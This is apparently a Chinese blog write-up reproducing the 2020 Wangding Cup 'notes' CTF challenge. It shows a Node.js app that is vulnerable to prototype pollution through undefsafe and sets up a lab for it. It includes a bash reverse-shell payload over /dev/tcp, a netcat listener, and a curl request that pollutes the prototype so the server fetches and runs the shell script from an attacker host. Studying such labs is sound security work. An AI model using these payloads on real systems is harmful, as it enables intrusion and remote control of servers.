当前位置: 首页 > news >正文

网鼎杯2020青龙组notes复现

环境搭建

源代码已给:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');

var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};    // 定义了一个字典,在后面的攻击过程中会用到
}

    write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

    get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

    edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

    get_all_notes() {
return this.note_list;
}

    remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');    // 设置模板引擎为pug

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')    // 该路由中 undefsafe 三个参数均可控
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')    // 漏洞点,只要将字典 commands 给污染了, 就能任意执行我们的命令
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);    // 将命令执行结果输出
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

分析:

原型链污染点定位


undefsafe(r, id, undefsafe(this.note_list, id));
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);

关键条件:
原型链污染需同时控制 undefsafe 的 第 2 个参数(属性路径) 和 第 3 个参数(属性值)。
get_note 方法仅能控制第 2 个参数(q),无法污染原型链。
edit_note 方法可通过 POST 请求控制 id、author、raw 三个参数,满足污染条件。

污染点确认与构造:

app.route('/edit_note').post(function(req, res) {
notes.edit_note(req.body.id, req.body.author, req.body.raw);

攻击向量:
id 控制路径前缀(如 __proto__.xxx)。
author/raw 控制属性值(如命令执行代码)。
});

原型链污染构造:

# 污染 Object.prototype 的恶意属性
id=__proto__.恶意命令
author=cat /flag  # 或反弹 Shell 命令

edit_note 执行时会触发:
undefsafe(this.note_list, "__proto__.恶意命令.author", "cat /flag");

命令执行点定位:

app.route('/status').get(function(req, res) {
let commands = { "script-1": "uptime", "script-2": "free -m" };
for (let index in commands) {  // 遍历原型链属性
exec(commands[index], ...); // 执行任意命令
}
});

漏洞点:
for...in 循环会遍历 commands 的原型链属性。若 Object.prototype 被污染,则恶意命令会被执行。

ubuntu中:

# 创建项目文件夹
mkdir -p /root/notes_app/views

# 进入目录
cd /root/notes_app

# 创建核心文件 app.js(漏洞代码)

vim app.js (放入源代码)

# 安装所需模块
npm install express undefsafe pug

#创建空文件保证js运行

touch index.pug  mess.pug  note.pug 

# 启动 Node.js 服务(保持窗口运行)
node app.js

#在另一个窗口执行:

# 访问 /status 路由,触发被污染的命令执行

curl http://localhost:8080/status

kali中:

# 创建 shell.txt(替换为 Kali 实际 IP)
cat > shell.txt << 'EOF'
bash -i >& /dev/tcp/192.168.13.137/2333 0>&1
EOF

# 在 shell.txt 所在目录启动 HTTP 服务(端口 81)
python3 -m http.server 81
# 保持窗口运行,确保 Ubuntu 能访问 http://192.168.13.137:81/shell.txt

# 新开一个终端,监听 2333 端口
nc -lvp 2333
# 输出示例:listening on [any] 2333 ...(保持窗口运行)

# 新开一个终端,向 Ubuntu 发送污染请求(替换 Ubuntu IP)
curl -X POST -d "id=__proto__.hack&author=curl http://192.168.13.137:81/shell.txt|bash&raw=exp" http://192.168.13.141:8080/edit_note
# 成功会返回 "edit success" 页面内容

http://www.lryc.cn/news/594412.html

相关文章:

  • AG32:解锁MCU+FPGA应用新姿势,功能与实战全解析
  • 《杜甫传》读书笔记与经典摘要(一)
  • 桑科草原一景
  • RabbitMQ:解锁高效消息传递的密码[特殊字符]
  • C++STL之stack和queue
  • 【pandoc实践】如何将wordpress文章批量导出为Markdown格式
  • Spring Boot 自动装配用法
  • 从0开始学linux韦东山教程Linux驱动入门实验班(4)
  • Spring Boot 一个注解搞定「加密 + 解密 + 签名 + 验签」
  • 零基础 “入坑” Java--- 十三、再谈类和接口
  • KOSMOS-2: 将多模态大型语言模型与世界对接
  • 算法训练营day25 回溯算法④ 补充联系题目 332.重新安排行程、51. N皇后、37. 解数独
  • PID控制原理分析及应用(稳态误差详细分析)(一)
  • 30天打牢数模基础-卷积神经网络讲解
  • STM32-第八节-TIM定时器-4(编码器接口)
  • 2025 年科技革命时刻表:四大关键节点将如何重塑未来?
  • 【高等数学】第四章 不定积分——第五节 积分表的使用
  • 【实战1】手写字识别 Pytoch(更新中)
  • RTC外设详解
  • Vuex 核心知识详解:Vue2Vue3 状态管理指南
  • Qt--Widget类对象的构造函数分析
  • 【vue-7】Vue3 响应式数据声明:深入理解 reactive()
  • 2024年青少年信息素养大赛图形化编程小低组初赛真题(含答案)
  • ZooKeeper学习专栏(二):深入 Watch 机制与会话管理
  • C语言:深入理解指针(2)
  • 网络地址和主机地址之间进行转换的类
  • 剑指offer66_不用加减乘除做加法
  • Spring Boot 订单超时自动取消的 3 种主流实现方案
  • 腾讯二面手撕题:BatchNorm和LayerNorm
  • 08_Opencv_基本图形绘制